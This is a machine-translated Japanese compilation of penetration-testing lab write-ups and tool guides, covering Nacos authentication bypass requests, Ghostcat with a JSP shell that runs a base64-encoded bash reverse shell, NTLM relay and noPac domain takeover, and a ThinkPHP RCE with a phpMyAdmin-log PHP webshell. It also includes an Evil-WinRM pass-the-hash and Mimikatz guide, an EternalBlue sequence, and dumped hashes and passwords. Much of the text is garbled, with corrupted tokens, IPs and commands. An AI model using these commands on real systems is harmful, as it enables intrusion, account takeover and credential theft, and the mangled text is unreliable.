tokenttl':18000、 'globaladmin':true、' username':'nacos '} この時点で、NACOSのトークン情報を受け取りました。 2。トークンを使用してログインしてバックグラウンドにログインする方法は?ここでは、偽のアカウントでログインしてから変更してパッケージに戻る必要があります。試してみてください: 最初に偽のアカウントでログインし、げっぷを使用して傍受: これは間違いなくアクセスできません。ここで返品パッケージを変更し、右クリックしてこれを読みます: その後、ここで返される情報は間違いなく無効です: ここでは、今すぐ生成されたリターンパッケージを使用して、それを交換し、すべてをコピーします。 再びフォワード: 今、私はすでに入力したので: 3.デフォルトキーを使用してJWTを生成して現在のユーザー名とパスワードを表示します/nacos/v1/auth/users?accesstoken=eyjhbgcioiiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvc yisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuubz6j6dstuko7spageno=1pagesize=9 http/1.1host: {{hostname}} user-agent: mozilla/5.0accept-encoding: gzip、deflateconnection: closeif-midified-since:水、2023年2月15日gmtupgrade-insecure-requests: 1accesstoken: eyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4pukjuobz6j6dstuk7s4j6dstu7s4dstu7s.dstuko7sヘロナコス、そしてそれを正常に作成します post/nacos/v1/auth/users http/1.1host: {{hostname}} user-agent: mozilla/5.0authorization: bearereyjhbgcioiijiuzi1niisinr5cci6ikpxvcj9.eyjzdwiioijuywnvcyisimv4cci6mty3odg5otkwox0.di28cdy76jcvtmsgiim12c4puk4pukjuobz6j6dstuko7siccechict-ecobjubz6dstuko7siccecepudipubz DeflateConnection: CloseUpgrade-Insecure-Requests: 1IF-Modified-Since:水曜日、2023年2月15日10:45:10 GMTCONTENT-TYPE3:アプリケーション/X-WWW-WWW-form-on-Length: 39 username=hellonacospassword=hellonacos 0x03脆弱性の再発 http://10.10.84.2073:8848/nacos/v1/auth/users?pageno=1pagesize=9search=quarceateaccesstokenhttp://your_ip:8848/nacos/v1/auth/?pageno=1pageno=1pageno 2。 NACOSデフォルト構成不正アクセスの脆弱性 ServerIdentity 3。 NACOS2.2.0許可バイパス 追加ServerIdentity3 Addy ServerIdentity (dnacos.core.auth.enabled=true)、authfilterサーブレットフィルターは、認証を強制するために使用されるため、認証チェックをスキップします。このメカニズムは、ユーザーエージェントHTTPヘッダーに依存するため、簡単にスプーフィングされます。この問題により、すべてのユーザーがNACOSサーバーで管理タスクを実行できる場合があります。 iv。 Nacos1.x.xバージョンユーザーエージェント許可バイパス((CVE-2021-29441) Docker run -D -P 8848:8848 HGLIGHT/CVE-2021-29441 0x01脆弱性の説明 NACOS=1.4.1 :010101。 http://Target:88848/nacos/v1/auth/users?pageno=1pagesize=9戻り値が200であることがわかります。 Host: 192.168.246.138:8848 user-agent: nacos-server または、コマンドを使用してアクセスしてください。ユーザーパスワードを読む:curl 'http://127.0.0.0.1:8848/nacos/v1/auth/users?pageno=1pagesize=9accesstoken=' -h 'user -agent: nacos-server'curl'http://127.0.0.13:8848/nacos/v1/auth/users?pageno=1pagesize=9search=blur'-h'user-agent3:nacos-server ' curl'http://127.0.0.133608848/nacos/v1/auth/users?pageno=1pagesize=9search=quarce'-h'user-agent:nacos-server'unauthorizedユーザーの追加curl-xpost'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1password=test1 '-h' user-agent:nacos-serverユーザーパスワードの変更curl-x put 'http://127.0.0.1:8848/nacos/v1/auth/users?accesstoken=' -h 'user -agent:nacos -server' -d 'username=test1newpassword=test2'read構成ファイルcurl-xget'http://127.0.0.133608848/nacos/v1/cs/configs?search=quarceatedataid=group=pageno=1pagesize=9 9'curl-xget'3http://127.0.0.1:8848/nacos/v1/cs/configs?search=bludataid=group=pageno=1pagesize=99 ' ヘッダーヘッダーを追加した後、POSTメソッドを使用してhttp://TARGET:88848/NACOS/V1/AUTH/USERS?USERNAME=VULHUBPASSWORD=valHubadd、アカウントパスワードはVulHubPost/Nacos/V1/use/users=hglightpassword=hglightpassword=hglightpassword=hglightpasswordです。 Host: 192.168.246.138:8848 user-agent: nacos-serverまたはpost/nacos/v1/auth/users http/1.1host: 192.168.31.643:88848Cache-control3360 max-age=0upgrade-insecure-Requerestess3360 1USer-agent: NACOS-Serveraccept-Encoding: GZIP、DERLATEACCEPT-LANGUAGE: ZH-CN、ZH; Q=0.9Connection: closecontent-type:アプリケーション/X-WWW-FORM-URLENCODEDEDEDEDEDCONTENT-LENGTENT-LENGTENT-LENGTEN ユーザーリストをもう一度表示します。返されたユーザーリストデータには、バイパス認証によって作成された追加の新しいユーザーがあります。 get/nacos/v1/auth/users/?pageno=1pagesize=9 http/1.1 Host: 192.168.246.138:8848 user-agent: nacos-server アクセスhttp://IP:8848/NACOSは新しいユーザーでログインします。
  13. 0x01 - 情報 TAG: Tomcat、NTLM、WebClient、COERCE AUTHURTINATION、NOPAC 0x02 - 再 ターゲット外部IP 47.92.146.66 NMAPの結果 ポート8009(AJP)に焦点を当てることは、Tomcat(射撃範囲のTomcatタグに対応)ディレクトリスキャンを意味します。404ページはTomcat 9.0.30 として表示されます。 このプロジェクトでテストします https://github.com/00theway/ghostcat-cnvd-2020-10487 /web-inf/web.xml を読み取ります url-pattern結果は辞書として保存されます FFUF UploadServlet をフォローしてください Temp.txt をアップロードします ファイルアドレス./upload/7dbbdee357b4472f5aad6b8ce83980ddddddddddddddddddddddddddddddddddddd. ./upload to /uploadを交換し、アップロードされたファイルを正常に読み取ります Python3 ajpshooter.py http://47.92.146.66:8080 8009/upload/7dbbbdee357b4472f5aad6b8ce83980dd/202212060934444444444444444444444444444444444444440839.t 0x03 - Ghostcatコマンド実行 shell.txt %java.io.inputStream in=runtime.getRuntime()。 {echo、zwnobyaic3nolxjzysbbqufbqjnoemfdmxljmkvbqufbrefrqujbqufcz1fdl3nkady4uk5hwktlaknqae40wuxpsnj4edr3n3n3jtbgcc FRMMTNYNHVKZLPFZM4YU25SCE9RDXQ0OE1LDURHOETDCXCZRW0ZNU9ODXXDUA2P3ZEKVRGHGN3ZSETB0T2XTWDE5NMJHCXPNDE5PM1YZUHEXC3NC mzv5ui85shj6zjvedhdqs2nkdkphv0ruzzu2uwhzjlnr21vduzvqwv2qjdsuwl3a01fnwnxtzvsqtrwum5kveh2ru1oqukxkkccc3mtbeewnkt28 rngh1tgnnvjzhdus3uxdktwdnn0oyu2u5tepgzwk2r2g0amjusgrhdmnbvvvjvvvvjzefi4qvnxsmnqy29tm2dmuee1uwnxszznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznzs r3cejwwwlfuglhchlqrqr2y1t3eruu0xqmjyr0gvtlrbynzwa3dznbkrurwdvbnnnwhofy4c09htjixczlwazfjmvbbxaeh2wdz1ejhradrndudnq lryshlzb3dutjg3otexvdvgr0vjvzlweuh1cm9fsvjtde9sy3dbymrmc0k0nvhos1o0awoxderlntrtmmpxwxhjtjhsl1zuunv2rvvotvpgoula bdm3uw5eqnbfr25ltxfjtve4chvuzujbmngvsurhmfr6mwxjvgk5whp5wjvhetd4dtjwzstidxhwt1bsq2m9iia+piavcm9vdc8uc3nol2ff1dghv CMML6ZWRFA2V5CWOKY2HTB2QGNJAWIC9YB290LY5ZC2GVYXV0AG9YAXPLZF9RZXLZCG==} | {base64、-D} | {bash、-i} ")。 int a=-1; byte [] b=new byte [2048]; out.print( "pre"); while((a=in.read(b))!=-1){out.println(new String(b)); } out.print( "/pre");% shell.txt アップロードされたコードSSH - FLAG01 を実行する 0x04 - ポータルUbuntu:172.22.11.76 SSH 何もありません。にアクセスしてエージェントを開き、3つのホスト情報をスキャンして445をスキャンします172.22.11.45 XR-Desktop.Xiaorang.Labab 172.22.11.6 Xiaorang-DC.Xiaorang.lab 172.22.11.26 XR-LCM3AE8B.XIAORANG.LAB 172.22.11.45 - Windows7 - MS17 MS17 1つのGO 基本操作 に注意してください 資格リスト管理者4430C690B4C1AB3F4FE4F8AC0410DE4A - (ローカル資格情報) John 03CAE082068E8D55EA307B75581A8859 - (ローカル資格情報) XR-DESKTOP $ 3AA5C26B39A226AB2517D9C57EF07E3E - (ドメイン資格情報) yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 - xrihghgonzq(プレーンテキスト) - (ドメイン資格情報) 私は組み合わせの爆破を試しました、何もありません、私はここでデモをスキップして、ドメイン侵入リンクに直接行きました flag2 ドメインユーザーyangmeiをマシンのローカル管理者に追加するドメイン制御IPを172.22.11.6 - Xiaorang-DC Bloodhound Collection 0x05 - ドメイン浸透リンク、入学xr-desktop:172.22.11.45 これをすばやく実行しましょう(1つの文で概要:ドメインコントロールを直接削除することはできません)、Bloodhoundによって収集されたユーザー名の組み合わせを使用して取得したパスワード/ハッシュの組み合わせが爆破されました。他の新しいユーザーはMAQ=0を持っていることがわかりませんでした。コンピューターを追加できません。現在のLDAPにはTLSがなく、コンピューターをリモートで追加することはできません。インパケットの追加コンピューターには2つの方法があります。 SAMRとLDAPS。 SAMRはMAQ=0によって制限されており、コンピューターを追加できません。 LDAPSはTLS + MAQ=0で制限されています。ドメイン制御はnoPACが存在します。現在のユーザーYangmeiはNOPACを使用しており、ドメイン内のコンピューターコンテナ内のCreateChildのACLドメイン制御を殺しません。現在のユーザーYangmeiは現在のWindows Machine XR-DeskTopに手紙の許可を得ていません。つまり、DFSCoerceとPetitpotamはSamacCountNameドメインで変更できませんが、CVE-2019-1040は存在しません。 exploit:ridter/nopac: cve-2021-42278およびcve-2021-42287を悪用して、標準ドメインユーザー(github.com)petitpotamスキャン NO ADCS + Petitpotam + NTLM Leray Play Play Plye 攻撃チェーン:Petitpotamを使用して、脆弱性のターゲットをトリガーし、WebClientサービスを有効にします。 Petitpotamを使用してターゲットをトリガーして、HTTPリレーサービスにアクセスします。ターゲットは、WebClientを使用してNTLM認証を携帯してリレーにアクセスし、その認証をLDAPにリレーし、マシンアカウントのIDを取得し、マシンアカウントとして独自のMSDS-ActonBehalfofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofoforidentity属性をマシンアカウントとして修正し、悪意のあるマシンアカウントがターゲットマシン(RBCD)へのアクセスをシミュレートして認証できるようにします。ターゲットマシンは、WebClientサービスを有効にする必要があります。 WebClientスキャン、そしてそれが勝つことしかできないことが確認されています。 172.22.11.26(XR-LCM3AE8B)リレー攻撃序文:実際の戦闘でのリレープレイは、80の占有サービスを停止し、ポート転送を有効にする必要があり、CSは後続のバージョンでRPORTFWD_LOCOLを追加し、クライアントローカルに直接転送します)。このデモンストレーションは、実際の戦闘プレイに似ています。入り口ubuntuにインパケットを投げることは選択しません。この操作リレー攻撃環境は:ポート転送+プロキシを構成します 現在、サーバーの80をローカルクライアントの80に転送する必要があります。SSHのリバースポート転送は127.0.0.1にしかリストであるため、現時点ではいくつかのトリックが必要です。 図に示すように、リバースポートフォワードポート79がすべてを聞くように指定している場合でも(-R \*:793360127.0.0.1:80)、ポート79はまだ127.0.0.1に結合しています(Socks5プロキシも図) 余分なソサットを追加して、トラフィックを0.0.0.0336080に127.0.0.1336079に転送し、クライアント側のローカル80に戻し、80を0.0.0.0 で変装させてリッスンします。 テスト、172.22.11.76:80からのトラフィックは、地元のエリアに直接転送されます NTLMRELAYXを開くローカル注:前述のようにLDAPSがないため、addComputerを使用することはできないため、IPを使用してRBCDSUDO ProxyChainsを設定した後、IPを使用してDCに接続することはできません。 -NO-ACL -ESCALATE-USER 'XR-DESKTOP $' - DELEGATE-ACCESS Petitpotamを使用してXR-LCM3AE8Bを172.22.11.76(Ubuntu)ProxyChains4 -F〜/htb/htb/htb/htb/htb/htb/htb/spopychingにトリガーしますpetitpotam.py -u yangmei -p 'xrihghgonzq' -d xiaorang.lab ubuntu@80/pwn.txt xr -lcm3ae8b RBCD攻撃が完了していることがわかります。次のステップは、XR-LCM3AE8Bの銀行ノートを直接申請することです。 XR-LCM3AE8B CIFS Notes に応募します 0x06 - ドメイン浸透リンク - NOPAC、入り口XR-LCM3AE8B:172.22.11.26 PSEXECFLAG03 IN C: \ USERS \ Administrator \ flag \ flag03.txt(ここにスクリーンショットなし)SMBCLIENT.py 1232126B24CDF8C9BD2F788A9D7C7ED1 Zhanghuiだけが成功することができます。 Zhanghuiは、MA_ADMINグループにオブジェクトを作成できます。 MA_ADMINグループはコンピューター用のオブジェクトを作成できますが、BloodHound -B 'CN=コンピューター、DC=Xiaorang、DC=lab' ntsecuritydescriptor -sddl +++ にadfind.exeは表示されませんでした。 Bloodhoundを見ることができません。主な理由は、CreateChildがJSON に収集されず、NOPACに戻り、さらにCreate-Childパラメーターに戻ったことです。 0x07 - ドメイン浸透リンク - Xiaorang-DC NOPACが適用したCIFSチケットを使用して、DCFLAG04にログインします。 c: \ uses \ administrator \ flag \ flag04.txt(ここにスクリーンショットはありません)ドメインチューブ(Mimikatzを使用してスキップ)管理者0FADB57F5EC71437D1B03EEA2CDA70B9 ![[ 0x08 - 周りで遊ぶ bloodhound.pyがcreatechildを収集できない問題を解決しようとします Bloodhound/Enumeration/Acls.pyは実際に変数を定義しているため、と呼びます 170行目に来て、それを追加し、CreateChildを見つけて、データを追加します Bloodhound.pyをもう一度実行し、コンテナの結果を観察し、すでに関連するデータがあることを確認します。 RID 1132=MA_ADMINグループ Bloodhound Diagram、しかしデータはまだ面倒です元のリンク:https://www.anquanke.com/post/id/285771
  14. 序文 Evil-WinRM このツールは、もともとHackplayersチームによって開発されました。このツールを開発する目的は、特にMicrosoft Windows環境で、可能な限り浸透テストを簡素化することです。 Evil-WinRMはPowerShellリモートプロトコル(PSRP)を使用し、Windowsリモートはシステムとネットワーク管理者によってよく使用されます 管理プロトコルはアップロードおよび管理されています。 Winrmは、HTTPデフォルトポート5985を介して使用できるファイアウォールに優しいソーププロトコルです HTTPトランスポートで使用。 PowerShellリモート処理の詳細については、公式Microsoft Webサイトをご覧ください。 https://Learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3 邪悪なwinrmの紹介 Evil-WinRMは、Ruby言語を使用して開発されたオープンソースツールです。このツールには、プレーンテキストパスワードを備えたリモートログインなど、多くのクールな機能があります。SSL 暗号化されたログイン、NTLMハッシュログイン、キーログイン、ファイル転送、ログストレージ、その他の機能。この開発ツールの著者は、ツールを常に更新し、長い間更新を維持しています。使用 Evil-WinRM、リモートホストのPowerShellコマンドターミナルセッションを取得できます。このツールはKali Linux Systemsに統合されていますが、個別にダウンロードする場合は、公式のGITリポジトリからダウンロードできます。 ダウンロードリンク:https: //github.com/hackplayers/evil-winrm winrmサービスディスカバリー 上記のように、リモートホストで有効になっている場合 WinRMサービスは、Evil-WinRMツールの使用に関連付けられます。ターゲットシステムがWINRMサービスを有効にしているかどうかを確認するために、NMAPを使用して2つのデフォルトのWINRMサービスポート5895を見つけることができます。 5896オンになっているかどうか。 NMAPスキャンの結果から、WinRMサービスが有効になっていることがわかりました。そのため、邪悪なWINRMツールを使用して、水平フェーズで探索する他のタスクをログインして実行できます。 NMAP -P 5985、5986 192.168 .1 .19 : 邪悪なwinRMヘルプコマンドヘルプ Evil-WinRMの利用可能なすべての機能をリストするには、すべてのヘルプコマンドを記述してリストする-Hフラグを単に使用できます。 Evil-WinRM -H プレーンテキストパスワードでログイン アカウントの列挙フェーズでプレーンテキストパスワードを取得し、リモートホストがWinRMサービスを有効にしていることに気付いたとします。ターゲットシステムでターゲットシステムIPアドレスを使用して、ターゲットシステムでリモートセッションを実行できることに気付きました。下の図に示すように、リモートのPowerShellセッションが確立されていることがわかります。 Evil -WinRM -I 192.168.1.19 -U管理者-p Ignite@987 プレーンテキストパスワードでログイン - SSLを有効にする 上記のように、WINRMサービスはHTTPプロトコル上でトラフィックを輸送できます。その後、Secure Socketsレイヤー(SSL)機能を使用して、接続が安全であることを確認できます。 SSLが有効になると、データは暗号化されたセキュアソケットレイヤーを介して転送されます。 Evil -WinRMを使用して、-Sパラメーターを使用して、リモートホストを使用してセキュアな送信用のコマンドを確立できます。 邪悪なwinrm -i 192.168.1.19 -u管理者-p Ignite@987 -S ntlmハッシュを使用したログイン - ハッシュによる攻撃 イントラネットの浸透または解像度 Windowsの許可エスカレーションとActive Directoryの使用率に関連するプロジェクトでは、さまざまな攻撃方法を通じてNTLMハッシュ値を取得することがよくあります。 Windows Intranet環境にいる場合は、パススルーハッシュ攻撃を実行することにより、Evil-WinRMを使用してPowerShellを作成できます セッションは、リモートログインにプレーンテキストパスワードを使用する代わりに、ハッシュをパスワードとして使用できるようにします。さらに、この攻撃は他のプロトコルをサポートしています。ハッシュを渡すと、-hパラメーターを使用できます。 Evil -WinRM -I 192.168.1.19 -U Administrator -H 32196B56F45E294117B91A83BF38 load powershellスクリプト Evil-WinRMは、ターゲットホストに付属のPowerShellスクリプトを使用できる機能も提供します。スクリプトはメモリに直接ロードでき、-sパラメーターを使用してターゲットシステムに接続されたPowerShellスクリプトの相対パスを使用できます。さらに、このツールは、スクリプトをインポートする前に必要なAMSI機能を提供します。次の例では、AMSI関数をバイパスし、システムから直接呼び出します Invoke-Mimiktz.ps1スクリプトはターゲットホストに配置され、メモリにロードされます。その後、Mimikatzコマンドを使用できます。デモンストレーションのために、システムログイン資格情報をキャッシュから直接投棄しました。資格情報を投棄した後、ハッシュパス攻撃に取得したNTLMハッシュを再度使用できます。 https://github.com/clymb3r/powershell/blob/master/invoke-mimikatz/invoke-mimikatz.ps1 Evil -winrm -i 192.168.1.19 -u管理者-p Ignite@987 -s/opt/privsc/powershell バイパス-4msi Invoke-mimikatz.ps1 Invoke-Mimikatz 邪悪なwinrm を使用してログを保存します この関数は、リモートセッションを取得した後、実行コマンドのログがローカルシステムに保存されることを意味します。プロジェクトに取り組んでいるときは、後続のレポートと出力を実行するために資格情報を攻撃する必要があります。すべてのログは、-lパラメーターを使用してホストシステムに保存し、デフォルトで /root /vyol-winrm-logsディレクトリに保存できます。次の例では、IPConfigコマンドを同時に使用して、コマンド出力情報をホストシステムに保存できます。 Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -L 保存されたログコンテンツをチェックすることにより、コマンドログ出力が正常に保存されるかどうかを確認できます。上記のコマンドからのログ情報出力が保存されていることがわかります。 リモートフルパス関数を無効にします デフォルトでは、ツールにはリモートフルパス機能が付属していますが、リモートパスフルパス機能を無効にする場合は、コマンドの-Nパラメーターを使用できます。個人がパスフル機能をオンまたはオフにすることを好むかどうかに依存しますが、自動フルパス機能に満足している場合は、デフォルト機能を自由に使用できます。 Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N カラーインターフェイスを無効にします Evil-WinRMを使用してリモートセッションを作成するたびに、美しい色付きのコマンドラインインターフェイスが生成されます。それにもかかわらず、Color Interface機能を無効にする場合は、-Nパラメーターを使用してセッションを作成するときに機能を無効にすることもできます。 Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 実行可能ファイルを実行します この機能は、コマンドラインに掲載できないPowerShellセッションを実施しながら、評価中に遭遇するリアルタイムの問題と困難を解決するように設計されています。この場合、Evil-WinRMセッションでEXE実行可能ファイルを実行できるようにしたいと考えています。ターゲットシステムで実行する実行可能ファイルがあるとします。 Hackplayersチームは再びツールを設計し、すべての実行可能ファイルをEvil-WinRM PowerShellセッションで実行するための追加機能を追加しました。同様に、-eパラメーターを使用してExe実行可能バイナリを実行できます。次の例では、winpeas.exe実行可能ファイルがローカルコンピューター /opt /privscディレクトリに保存され、追加の関数(邪悪なwinRMメニューのinvoke-binaryコマンド)を使用して実行します。この機能により、コマンドラインシェルで実行される任意のexeバイナリを実行できます。 Evil -WinRM -I 192.168.1.19 -U Administrator -P IGNITE@987 -E /OPT /PRIVSC バイパス-4msi メニュー Invoke-binary /opt/privsc/winpeasx64.exe 実行可能パスを設定したら、ターゲットシステムで実行する任意の実行可能ファイルを使用できます。次の例では、winpeasx64.exeを呼び出し、vyver-winRMを使用してターゲットシステムに実行します。 サービスクエリに邪悪なwinrmを使用 時には、浸透後のテストツールがターゲットシステムで実行されているサービス名を検出できない場合があります。 この場合、Evil-WinRMを使用して、ターゲットシステムで実行されているサービス名を見つけることができます。これを行うには、メニューにもう一度移動してサービス機能を使用できます。 プログラムホストを実行しているすべてのサービスをリストします。 邪悪なウィンルムを使用したファイル転送 Evil-WinRMが可能な限りシンプルにするために最善を尽くしたことは間違いありません。コマンド操作を実行するには、常に攻撃マシンからリモートマシンにファイルを転送する必要があります。また、Evil-WinRMツールは非常に実用的な機能を提供します。特に、ターゲットシステムに設定されたアウトバウンドトラフィックルールに直面している場合、およびプロキシでEvil-WinRMを使用する場合。次の例では、 /rootディレクトリのnotes.txtファイルをターゲットシステムにアップロードします。 ファイルは、ターゲットシステムから攻撃者のマシンにダウンロードされます。同様に、次のコマンドを使用してダウンロードできます。 notes.txt /root/raj/notes.txtをダウンロードしてください docker の邪悪なwinrmを使用しています このツールもインストールできます Dockerで。 DockerにEvil-WinRMにインストールする場合は、Dockerからも呼び出すことができます。 メインシステムのように実行されます。これを行うには、Dockerの構文とEvil-WinRMコマンドに従って、Dockerから呼び出します。 docker run - rm -ti -name Evil -winrm oscarakaelvis/Evil -winrm -i 192.168.1.105 -u管理者-p 'Ignite@987' 邪悪なWINRMキーでログイン Evil -WinRMを使用すると、パブリックキーとプライベートキーを使用してリモートセッションを確立し、-Kとプライベートキーを使用したパラメーター、および-Cおよびパブリックキーを使用したパラメーターを使用することもできます。さらに、-Sパラメーターを追加して、SSLが暗号化とセキュアの接続を有効にできるようにすることもできます。 Evil -winrm -i 10.129.227.105 -c certificate.pem -k priv -key.pem -s
  15. 0x1情報 射撃範囲の住所:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu射撃範囲環境は、ウェブからイントラネット、ドメインまでの環境が完了しており、質問を設定するというアイデアは非常に良いです。興味があれば、遊ぶことができます。 0x2 recon ターゲット外部IP39.98.34.149NMAP結果 \ username :管理者、パスワード:123456 コマンド実行 0x03エントリポイント:172.22.4.36 シェル すばやく通過します:エントリマシンには特別なものがなく、ルートする権限を上げることができません(ルートするために権限を上げる必要はありません)。 stapbpf suidは使用できませんでした DIFF SUID FLAG01DIFF-LINE-FORMAT=%L/DEV/NULL /HOME/FLAG/FLAG01.TXT FLAG01 3つのマシン172.22.4.19 fileserver.xiaorang.labの情報を取得します 172.22.4.7 DC01.XIAORANG.LAB 172.22.4.45 win19.xiaorang.lab flag01プロンプトユーザー名+ rockyou.txtを使用して爆発し、有効な資格情報(プロンプトパスワードの有効期限が切れる)を作成します。システムでマシンアカウントを取得します。 デスクトップには、この列に従ってください。現在のユーザーAdrianは、レジストリ 権利を完全に制御しています MSFvenomはService Horseを生成し、SAM.BAT を実行します sam.bat レジストリを変更してサービスを有効にすると、デスクトップはSAM、セキュリティ、システムを取得します。 Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:BA21C629D9FD56AFF10C3E826323E6AB3:33333333:3360 $ Machine.ACC: AAD3B435B51404EEAAD3B435B51404EE:917234367460F3F2817AA4439F97E636 flag02 マシンアカウントを使用したドメイン情報の収集トリガーを強制的にWin19に戻し、DC01 Base64のTGTデコードのTGTを取得するためにDC01.KIRBI DCSYNC Get Domain Managements 0x04 PWING WIN19-172.22.4.45 PSEXEC-FLAG03 0x05 DCテイクオーバー-172.22.4.7 ヒントのマスターアルファブグ(0x03-0x04)に感謝します。 https://www.freebuf.com/articles/web/352151.html
  16. 0x00イントロ OSCP浸透スタイル、C2やMSFなどのツールを残すことは難しくありません 0x01情報 TAG: JDBC、Exchange、NTLM、COERCE認証、DCSYNC 0x02 Recon ターゲット外部IP39.98.179.149NMAP結果 8000ポートに直接従います。私は以前にすでに80を逃したことがあり、直接合格するものはありません。 Huaxia ERP、多くの抜け穴があり、エントリポイントは長い間立ち往生しており、後でJDBCを見て、Google検索後に兄の記事を直接検索しました。 FastJsonのハイバージョンマジックトリック-BMTH (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/fastjson%E9%ABA98%E7%89%88%E6%9C%AC%E7%9A%84%A5%A5%87% E6%8a%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%AA)構造ペイロードConfigure mysql_fake_server 3 unauthorized + mysqlコネクタJDBCデシリア化の組み合わせパンチダイレクトRCE rce直接買収後の直接取得後6950660 0x03エントリポイント:172.22.3.12 SMB SMBは、イントラネットホストをスキャンし、Exchangeキーワード(EXC01)を確認し、172.22.3.9にアクセスしようとします。 Exchange Proxylogonを直接倒して、システム許可を取得する FLAG02(その後の短い資格情報コレクション) 0x04エントリポイント:172.22.3.9 Fast Forward 1:Exchange Machineアカウントのハッシュが収集されました2:同時に、ドメインアカウント資格情報が収集されました:Zhangtongは上記の操作を通じてExchange Machineアカウントのハッシュを収集しました。 Exchange Machineアカウントには、ドメイン内のドメインオブジェクト全体のACL許可が書かれています。次に、dacledit.pyを使用してZhangtongにDCSync権限を追加します(実際、DCSYNCを自分に追加することもできます)DCSYNCとユーザーLumia のハッシュを取得して172.22.3.2.2.3.2.2.-695110149514951495149514951495149514951013 0x05ファイナル:172.22.3.26 172.22.3.26 を超えるLumiaユーザーフォルダーにsecret.zipがあります。 attachment, which is full of mobile phone number Regular operation, convert to a hash in pkzip format and runs the dictionary, and runs out the password flag03 0x06 outro 交換後、著者の当初の意図は、NTLMリレーを使用してDCSYNCアップグレードを完了し、交換システムの許可を取得し、WebDAVをトリガーしてLDAPにリレーすることです。興味がある場合は、以前の記事を読むことができます。著者はまた、Lumiaユーザーのパスワードを変更することを望んでいますが、私は怠け者です。直接PTHオリジナルリンク:https://www.anquanke.com/post/id/286967
  17. ターゲットマシンをオンにした後、ThinkPHPアイコンを備えたログインインターフェイスがあります。直接テストするだけです が存在します5.0.23 RCE 、PHP-7.4.3の環境を確認しましょう。Disable_Functionsをご覧ください pcntl_alarm、pcntl_fork、pcntl_waitpid、pcntl_wait、pcntl_wifexited、pcntl_wifstopped、pcntl_wifsignaled、 pcntl_wifcontinued、pcntl_weexitstatus、pcntl_wtermsig、pcntl_wstopsig、pcntl_signal、pcntl_signal_get_ha ndler、pcntl_signal_dispatch、pcntl_get_last_error、pcntl_strerror、pcntl_sigprocmask、pcntl_sigwaitinfo、pcntl_sigtimedwait、pcntl_exec、pcntl_getpriority、pcntl_setpriority、pcntl_asynciment トランスミッションはすぐに、アリの剣の接続はwww-data許可です。 以前に従った公式アカウントの下でいくつかの記事を見つけました。 Web Security Toolsライブラリは非常に完全な《Linux提权备忘录》です 許可を与えられている猫/などを試してみてください。 このウェブサイトはコマンドの標高のリファレンスを提供できます は、mysql、sudo mysql -e 'を使用して実装できます! cat /root/flag/flag01.txt 'フラグの最初の部分を取得します ifconfigチェックIP fscanをパスアップしてセクションC、/FSCAN_AMD64 -H 172.22.1.1/24でスキャンして、結果は現在のresult.txtになりました。 172.22.1.18:3306オープン 172.22.1.2:88オープン 172.22.1.21:445オープン 172.22.1.18:445オープン 172.22.1.2:445オープン 172.22.1.21:139オープン 172.22.1.18:139オープン 172.22.1.2:139オープン 172.22.1.21:135オープン 172.22.1.18:135オープン 172.22.1.2:135オープン 172.22.1.18:80オープン 172.22.1.15:80オープン 172.22.1.15:22オープン [*] 172.22.1.2(Windows Server 2016 Datacenter 14393) [+] 172.22.1.21 MS17-010(Windows 7 Professional 7601サービスパック1) [+] NetInfo: [*] 172.22.1.21 [ - ] Xiaorang-Win7 [ - ] 172.22.1.21 [+] NetInfo: [*] 172.22.1.18 [ - ] Xiaorang-OA01 [ - ] 172.22.1.18 [+] NetInfo: [*] 172.22.1.2 [ - ] DC01 [ - ] 172.22.1.2 [*] 172.22.1.2 [+] DC Xiaorang \ DC01 Windows Server 2016 DataCenter 14393 [*] webtitle:3333333333333:200 code:200 len:5578 title33:bootstrapマテリアル管理者 [*] 172.22.1.18 Xiaorang \ Xiaorang-OA01 Windows Server 2012 R2 DataCenter 9600 [*] 172.22.1.21 __msbrowse __ \ xiaorang-win7 Windows7 Professional 7601サービスパック1 [*] webtitle:333333333333:3:302 len:0 title:NoneジャンプURL: 3http://172.22.1.18?M=ロギー [*] webtitle:3333333333333333http://172.22.1.18?M=Login Code:200 LEN3:4012 Title:Signコールコラボレーションオフィスシステム [+] http://172.22.1.15 POC-YAML-THINKPHP5023-METHOD-RCE POC1 .15は見る必要はありません。21は永遠の青の存在を伴うWin7、18はOAを呼び出すシステムであり、2はドメインコントロールです NPS+Proxifier Proxyを使用した転送、最初に.18を見てください それを行うには2つの方法があります。 1つ目は、コールOAのファイルアップロード脆弱性をターゲットにすることです。 Master Y4Tackerの記事を参照できます。弱いパスワードadmin/admin123を使用してログインし、Expを入力してください。 2番目の方法は、 /phpmyAdminを使用して直接ルート /ルートをログインし、ログを使用してWebShellに書き込むことです。 最初のステップは、「一般%」のようなショー変数を実行することです。ログが有効になっているかどうかを確認し、保存されているログの場所を確認します 秒ステップSET GLOBAL general_log=on;ログをオンにします 3番目のステップは、ログ保存場所を設定するためにグローバルgeneral_log_fileを設定します 最後に '?php eval($ _ post [cmd]); 次に、21はWin7マシンです。 MS17-010に電話することができます。試した後、ネットワークを離れることはできません。フォワードモニタリングを使用できます。 最初にプロキシをハングアップし、Proxychains MSFConsoleをSocks5トラフィックに移動し、次にExploit/Windows/SMB/MS17_010_ETERNALBLUE=SET PAYLOAD WINDOWS/X64/METERPRETER/BIND_TCP_UUID=SET RHOSTS 172.22.1.21=ExploitiTloit 正のメータープレターシェルを取得した後、次のステップはDCSYNCを使用することです 